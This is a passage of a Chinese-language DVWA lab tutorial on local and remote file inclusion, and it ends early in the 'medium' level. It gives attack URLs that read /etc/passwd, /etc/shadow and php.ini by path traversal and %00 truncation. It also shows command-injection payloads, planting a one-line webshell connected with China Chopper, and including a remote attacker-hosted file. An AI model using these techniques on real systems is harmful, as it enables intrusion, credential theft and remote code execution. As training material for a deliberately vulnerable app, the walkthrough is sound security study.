DVWA

您所在的位置:网站首页 dvwa靶机使用教程 DVWA

DVWA

#DVWA| 来源: 网络整理| 查看: 265

一)DVWA——File_include基本原理

二)环境准备

三)实际操作

low   本地     方法一     方法二     方法三     方法四     方法五   方法五的参考   远程     方法一     方法二

medium   本地     方法一   远程     方法一

high     方法一     方法二

impossible     防御方法

四)参考文献 ——————————————————————————————————————

一)DVWA——File_include基本原理:

在这里插入图片描述 (文件包含漏洞通常配合文件上传漏洞来获取webshell)

二)环境准备:

文件包含漏洞分为RFI(远程文件包含)和LFI(本地文件包含漏洞)

1.本地文件包含(Local File Include) 2.远程文件包含(Remote File Include) ——需开启PHP文件中的allow_url_include=on和allow_url_fopen=on

DVWA中开启了远程文件包含: 在这里插入图片描述 在这里插入图片描述 三)实际操作:

DVWA——File_include——low

源代码:

可以看到,服务器端对page参数没有做任何的过滤跟检查。

在WEB页面回显中有三个文件可打开,file1.php、file2.php、file3.php,点击则会转到该PHP文件所写的页面: 在这里插入图片描述 在这里插入图片描述 以上可知:通过page=xxx来打开相应的文件,此时漏洞点就暴露出来,现实中,恶意的攻击者也绝对不会乖乖点击这些链接,因此page参数是不可控的。此时我们可以尝试打开一些私密性的文件,以 /etc/passwd (Linux中的)和 /var/www/phpinfo.php(Linux中的)文件为例,只要有足够的权限,在此处就可以打开想打开的文件。

本地文件包含: 在这里插入图片描述

方法一:

我们尝试着包含一个不存在的本地文件 haha.php (或者是路径错误的文件): 在这里插入图片描述

尝试包含Linux中的文件 /phpinfo.php :(报错,显示没有这个文件,说明不是服务器系统不是Linux)

在这里插入图片描述 再尝试包含Linux中的配置文件 /etc/shadow :(报错,显示没有这个文件,说明不是服务器系统不是Linux)

在这里插入图片描述

同时还发现页面错误信息暴露了服务器绝对路径:E:\phpStudy\WWW.

第一行的那个Warning就是找不到我们指定的haha.php文件,也就是包含不到我们指定的文件,所以Warning。 第二行的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。

我们可以使用服务器绝对路径进行伪造:

Windows系统: http://192.168.67.143/dvwa/vulnerabilities/fi/page=E:\phpStudy\WWW\dvwa\php.ini Linux系统: http://192.168.67.143/dvwa/vulnerabilities/fi/page=/etc/passwd(可以直接读取已存在的敏感文件) http://192.168.67.143/dvwa/vulnerabilities/fi/page=/etc/shadow(可以直接读取已存在的敏感文件)

此时成功读取了服务器的php.ini文件: 在这里插入图片描述 也能成功读取服务器的phpinfo.php文件: 在这里插入图片描述 注:服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

上面是绝对路径,下面借助相对路径进行伪造:

绝对路是: 1)http://192.168.67.143/dvwa/vulnerabilities/fi/page=E:\phpStudy\WWW\dvwa\php.ini(E:\phpStudy\WWW是绝对的) 2)http://192.168.67.143/dvwa/vulnerabilities/fi/page=http://192.168.67.143/dvwa/php.ini (和1)同理) 相对路径: 1)http://192.168.67.143/dvwa/vulnerabilities/fi/?page=..\..\..\dvwa\phpinfo.php 2)http://192.168.67.143/dvwa/vulnerabilities/fi/?page=..\..\..\dvwa\php.ini 3)http://192.168.67.143/dvwa/vulnerabilities/fi/?page=../../../dvwa/php.ini (和2是等效的) 注:..\是不可以随意不限制个数的,是要在已知绝对路径基础上 (知道绝对路径的层次不知道每层所存放的具体文件位置)

在这里插入图片描述

同时,前面通过伪造读取php.ini文件,发现配置文件中Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断(使用%00截断可以绕过某些过滤规则,例如要求page参数的后缀必须为php,这时链接A会读取失败,而链接B可以绕过规则成功读取。),也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的:

A)http://192.168.67.143/dvwa/vulnerabilities/fi/page=..\..\..\dvwa\php.ini B)http://192.168.67.143/dvwa/vulnerabilities/fi/page=..\..\..\dvwa\php.ini%0012.php

在这里插入图片描述 方法二:

本地(192.168.67.143)进入文件上传 File Upload 模块上传 wjbh.txt 文件,并复制上传链接的相对路径: 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 回到文件包含模块利用上面得到的相对路径构造URL:

http://192.168.67.143/dvwa/vulnerabilities/fi/page=../../hackable/uploads/wjbh.txt

点击进入,可以看到txt文件中的php脚本成功显示在页面上: 在这里插入图片描述 方法三:

编写一个木马文件(muma.txt)并读取执行文件,内容如下:

PHP一句话木马: ASP一句话木马: ASPX一句话木马:

将此木马文件放置到本地的网站根目录下(E:/phpstudy/WWW)执行之后,页面回显为空,此时已经执行我们构造的一句话木马,在 Command Injection命令执行漏洞中可以查看到: 在这里插入图片描述 在这里插入图片描述

在命令执行漏洞中可以构造如下payload:

windows: 1) || dir E:\phpstudy\www /b 2) 127.0.0.1 && dir E:\phpstudy\www /b linux: || ls /var/www

在这里插入图片描述

或者使用下面的url也是起到同样的效果: 在这里插入图片描述 PHP一句话木马文件创建成功就可以使用中国菜刀连接,以执行任何操作(任意命令执行)【用中国菜刀连接,测试该PHP一句话木马是否生效】: 打开中国菜刀——进入如下界面——右键点击“添加”: 在这里插入图片描述 此时会弹出一个添加shell的对话框,填写木马文件的路径(如果填写的路径中存在对应的文件,那么配置中的信息会自动显示出来),地址后面的小框框里面的“key”就“口令”,也就是 这里的“key”。下面配置项如果知道用户名密码就填,不知道就不填,也不会影响文件管理和虚拟终端这两个功能,只是不能查看数据库了: 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 中国菜刀连接成功获得webshell权限,此时我们可以对目标(此处为本地机器)进行任意操作,如:删除文件,添加脚本文件,查看文件等等。 在这里插入图片描述 在这里插入图片描述

方法四:

结合文件上传漏洞(为了获取文件的路径,本地搭建的环境自然是知道路径的,但是如果是实际中的,那么要中国菜刀连接的目标主机就要先获取木马文件的路径才能连接)【结合文件上传漏洞以便先把一句话木马上传到服务器端,更多用于远程文件包含】:

选择一句话木马文件(muma.php)将它上传,上传成功会显示木马文件的相对完整路径: 在这里插入图片描述 在这里插入图片描述 方法五: 以上通过命令执行和文件上传都是有前提条件的,命令执行要先知道完整路径,文件上传也是,并且文件上传最终显示的只是相对路径(我们可以利用获取到的相对路径构造url进行绕过),所以下面结合命令执行漏洞通过 dos命令的dir命令显示出一句话木马文件 muma.php 的完整路径,再进行菜刀连接: 在这里插入图片描述 在这里插入图片描述 此时就获取到了muma.php 的完整路径,在命令执行中尝试实现:

在这里插入图片描述 如果连文件所在磁盘都不知道,可以输入:diskpart(要以管理员身份打开),再输入list ? 查看list命令的使用方法,再输入:list volume 查看目标机中所有磁盘: 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 之后可以每个磁盘逐一去尝试:

muma.php 不在C盘: 在这里插入图片描述 muma.php 不在D盘: 在这里插入图片描述 muma.php 在E盘: 在这里插入图片描述 在这里插入图片描述 在命令执行中尝试:

在这里插入图片描述 此时知道了目标机器中所有的磁盘后,Ctrl+C 就会将dos窗口自动关闭,此时我们接着在dvwa的命令执行中构造payload以确定一句话木马的完整路径: 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

在这里插入图片描述 在这里插入图片描述

方法五的参考: Linux和Windows中find命令的使用 Linux和Windows中find命令和dir命令的使用(简洁明了) Windows中where命令查看指定命令所在的位置 知道文件所在磁盘后用tree命令显示整个磁盘结构 查看Windows系统磁盘信息(list列出所有磁盘) DVWA解决乱码问题(有效的最快方式)

远程文件包含: 在这里插入图片描述 方法一 在远程服务器192.168.67.140 上传一个 phpinfo.txt 文件: 在这里插入图片描述 在这里插入图片描述 构造url:http://192.168.67.143/dvwa/vulnerabilities/fi/page=http://192.168.67.140/phpinfo.txt 在这里插入图片描述 此时提示phpinfo.txt文件中有错误:缺少分号或者逗号(在第4行),进行修改: 在这里插入图片描述 此时再次在客户端访问就成功读取phpinfo.txt文件内容并执行了文件中的函数: 在这里插入图片描述 为了增加隐蔽性,可以对 http://192.168.67.143/phpinfo.txt 进行编码:

url编码:http%3a%2f%2f192.168.67.140%2fphpinfo.txt

在这里插入图片描述 同样可以读取文件内容并执行文件中的php代码函数:

在这里插入图片描述

方法二: 先在远程主机192.168.67.140中编写好一个一句话木马(muma.asp): 在这里插入图片描述

构造url:

http://192.168.67.143/dvwa/vulnerabilities/fi/?page=http://192.168.67.140/muma11.asp

在192.168.67.143中: 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 或者: 在这里插入图片描述

在这里插入图片描述

DVWA——File_include——medium

核心代码:


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3